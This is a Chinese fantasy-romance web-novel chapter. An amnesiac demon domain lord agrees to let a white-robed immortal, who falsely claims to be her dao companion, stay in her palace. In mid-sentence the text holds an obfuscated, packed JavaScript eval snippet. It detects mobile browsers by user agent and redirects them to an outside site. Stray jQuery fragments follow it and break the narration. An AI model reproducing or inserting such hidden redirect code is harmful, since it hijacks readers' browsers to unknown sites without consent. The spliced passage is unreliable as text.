“不可能!”
域主宫的长廊上楼云挽面沉如水,脚下步子迈得飞快。
穷奇在她身后连滚带爬,三步并作两步才勉强跟上女人的脚步。
“哎呦我的域主大人啊,这有什么不可能的呢?”
“因果线都深成那样了,您还嘴硬呢。”
“俺觉得那家伙就是您的道侣啊!”
“本座哪来的道侣?”
楼云挽停下脚步,怒目而视。
“这绝对不可能。”
穷奇没辙了,气喘吁吁的往地上一瘫,有理有据的数落起来。
“您就说,是不是醒来后什么都记不得了?”
“是不是看那家伙倍感熟悉?”
“你们之间是不是有颇深的因果线?”
他一下子嘟噜出一连串问题,累得在原地直喘气。
“是又如何。”
楼云挽扭过头去,秀气的长眉拧在一起。
“那不就对了!”穷奇一拍掌,作恍然大悟状。
“俺的域主大人啊,您现在又没有记忆,怎么就知道他不是您的道侣呢?”
楼云挽被他的话问的愣了一下,穷奇见自己的话有效果,连忙趁热打铁的劝道:
“依俺看,这世间感情都是处出来的。大人不妨先跟他相处一段时间,也好试探一下真假。”
“若是能找回记忆那是最好。若找不回......”他眨巴了一下眼睛,谄媚的笑了。
“就凭他那副好容貌,俺们也不亏不是?”
不知怎的,听闻这话,楼云挽眼前突然闪现出那道欺霜赛雪的身影。男子一身白衣半阖着眼,墨发随意的垂落在地上,真是当得起那一声世间难得,无双剑仙。
好容貌,不亏......
心脏莫名怦怦跳了两下。
她垂眸思索了一瞬,终是故作勉强的点头。
“既然如此。”
“那便看在你的面子上,让他搬出大牢,寻一处宫殿安顿吧。”
“得令。”
*
“穷奇!这是什么回事?”
翌日一早,楼云挽一睁眼便看着了寝殿中倚在软榻上,满脸笑意的白衣仙君。
对方见她望过去,不慌不忙的起身整理了一下衣摆,笑盈盈的问道。
“阿挽醒了,可是要用早膳?”
楼云挽难以置信的瞪大眼睛,她不是让穷奇随便寻一处宫殿安顿吗。域主宫这么大,怎么还能安顿到她这里来?
“谁让你进来的?”
“滚出去!”
女子一时怒极,冷声斥责。
“阿挽,你我如今终究是生分了。”
宁择玉见状后退一步,失望的垂下眸子,满脸委屈:“从前你可从不会这般对我。”
瞧瞧这控诉的表情,好似她当真是个薄情寡义的坏人。
“宁仙君是吧?”楼云挽怒极反笑,这人怎么还赶不走了。
“口口声声自称是本座的道侣。”
“那你且说说,本座与你从前,是何种模样?”
“如何相识,又怎会结为道侣?”
假的终究是假的,虽然她现在记忆全无,但楼云挽就不信这人不会漏出一点马脚。
等着吧,要是让她有机会抓住了他的小辫子,定要将这个无耻的骗子挫骨扬灰!
“你怀疑我……”宁择玉叹了口气,师妹失了忆也还是这么不好忽悠。
他顺着她的意远离了几步,直到退到门口才缓缓开口。
“其实,我们是私奔过来的。”
私奔?
楼云挽被离谱的剧情呛得一口水卡在嗓子眼。她还能干出跟人私奔的事?
宁择玉点头,似是想起来旧事,声音也随之低沉了下来。
“如你所见,我是仙族之人,而你……却是魔族。”
“你我的感情为四九洲所不容。”
“听闻极北之渊乃方外之地,不受三族纷扰……”
话说到这,未尽的意思已经很明确了。
“所以你和……本座便选择私奔到这里?”
“笑话!”楼云挽重重的将手中的茶盏搁在案上,冷笑一声:
“本座乃极北域主,何须与人私奔?”
“更何况谁看本座不爽动手便是,当个逃跑的懦夫算什么!”
“阿挽……”宁择玉苦笑,“你如今什么都不记得了,我不怨你。”
“我也不知你为何会成为极北域主。只是你若不信,我的本命剑就在你身上。它可以作证我们的关系。”
语罢,他一抬手,原本安安静静缠绕在楼云挽手腕上的琉璃镯子立即化为一柄长剑浮在半空。
琉璃碎光,剑气如虹,的确是上等的仙剑。
“这是我的本命剑,破妄。”宁择玉哀伤的眼神掠过剑身看向楼云挽,“你都不记得了。”
若是沈则安在此,定要被他师兄的演技惊掉下巴。想不到兰泽城堂堂君子剑不仅剑术过人,就连骗起人来也是一套又一套。
“这……”
应召而出,神魂呼应,还真是此人的本命剑。
破妄一出,楼云挽心中信了大半。
并非她草率,只是人人皆知剑修素来爱剑如命,若不是关系亲密的道侣,断然没有将本命剑交由旁人的道理。
难不成她从前糊涂当真与此人结下了道侣契不成?
可又为何一点印象都没有,难道她就还真是这人口中的薄情寡义之人?
“宁仙君,咱们修行之人,这凡尘种种,皆是过往。”
“你也看到了,”楼云挽斟酌了一番,还是婉拒道:“本座不需要道侣。”
“这域主宫上下有侍从和穷奇打理,本座这里不缺人。”
“阿挽,”宁择玉不给她拒绝的机会先一步打断:“我知今昔不同往日,你亦为极北域主。但是......”宁择玉话锋一转。
“宁某不才,恰好略通些厨艺。金乳酥、水晶龙凤糕、葱醋鸡......样样拿手。域主可每日用上新鲜饭菜。”
——穷奇的手艺确实不咋地,这几日都快把她饿坏了。
“本座辟谷。”
“无事,在下对于装点收纳,亦是略懂一二。”
——域主宫的布置给这帮没有审美的异兽折腾得活脱脱暴发户模样,哪里有她极北域主的一点品味在。
“本座对域主宫极其满意。”
“宁某剑术极佳,给域主解闷,也是相当拿手。”
——极北之渊颠来倒去就这些玄土和岩浆,这些日子她都快把那些异兽揍了个遍,没一个能打的。
“本座日理万机,忙得很。”
“这也不要,那也不行。”宁择玉故作无奈的叹息。
“难道域主大人就不好奇自己的过往?不想知道自己为何失忆?”
楼云挽抬头直视着他。
眼前的人笑得狡猾,活脱脱像只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906941|168665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大尾巴狼。他似乎笃定了她会留下他。
他很了解她。
但她不喜欢这种感觉。
“你最好把话说清楚,宁仙君。”楼云挽收起慵懒的表情,坐直身体,一字一句道。
“本座的耐心是有限的。”
强大的极北之力带着难以抗拒的力量化形成银光长绸轻轻卷上宁择玉的腰,然后用力一拉,那人便到了眼前。
她饶有兴致的用绸缎挑起宁择玉的下巴,却被对方反手握住。
“你不听话,本座的‘道侣’。”
宁择玉轻笑一声,好似没把她挑衅的话放在心上。
“阿挽想知道自己曾经是谁,也想知道为什么会在极北之渊。”
“那便留下我,我可以告诉你。”
“你想要什么?”
宁择玉愣了一下,眼眸里漾起一丝心疼。
他突然意识到,在割据征伐的魔族,弱肉强食、等价交换是最基本的法则。
而他的师妹,在独身征战的这些年里,又吃了多少苦呢?
她是否也曾捧着一颗真心却被当作交易的筹码?
“事成之后,我要你送我出极北之渊。”
宁择玉淡漠的声线在大殿中缓缓响起。
若是能让她放下心防,暂且安然接受他的存在,编造些莫须有的条件也无妨。
“仅是如此?”
“域主大人在想什么呢,”宁择玉苦笑一声,“我与魔族私奔,在仙门已是铸下大错。”
“可就算四九洲不容我,我也不能在这样一个荒芜的地方过完后半辈子吧?”
“极北苦寒,有玄土纵横,凭我一人之力难以横渡。
“既然你我二人早已离心,我只求速速离去。”
被那双看起来清冷如玉的眸子盯着,楼云挽竟是真生出了一丝自己与此人曾是道侣的错觉。
她深吸一口气,在那张堪称绝代风华的脸上没有看出一丝破绽。
“成交。”
“一言为定。”
“多谢域主成全。”白衣仙君似乎心满意足,不再与她执拗一个道侣的名分。
果然这世间感情便是兰因絮果,人人逐利而去,任谁都逃不过劳燕双飞的结局。
就连看似不染凡尘的仙君也不例外。
楼云挽突然觉得有些无趣,她试图用力扯回银绸,却不料那人突然卸了力道。一时之间她失去平衡朝后仰去,被一双略显寒凉的手揽住了后脑勺。
两人栽倒在榻上。
陌生的温热的呼吸喷在脸颊。她恍惚了一瞬,突然觉得有些似曾相识,但来不及思考。
“给本座起来!”
“域主!”
殿门突然猛地被推开,穷奇风风火火的闯进来。
见到榻上的两道身影,他傻了眼。
想不到他们域主嘴上说着不行,私底下还是挺受用的。
看来他今早的安排真是机智万分。
还不等穷奇得意,楼云挽便一脚将宁择玉踹下榻,正色看向门口的异兽。
“说。”
“极北之渊之外,有、有两个人。”
“吓走便是,”楼云挽揉揉眉心,有些头疼,“这等小事不必来烦本座。”
也不知道穷奇什么时候能改掉大事小事乱禀报的坏习惯。
“只是……”穷奇犹豫了一下,面色古怪。
“他们口中嚷嚷着,让我们把他的师兄交出来。”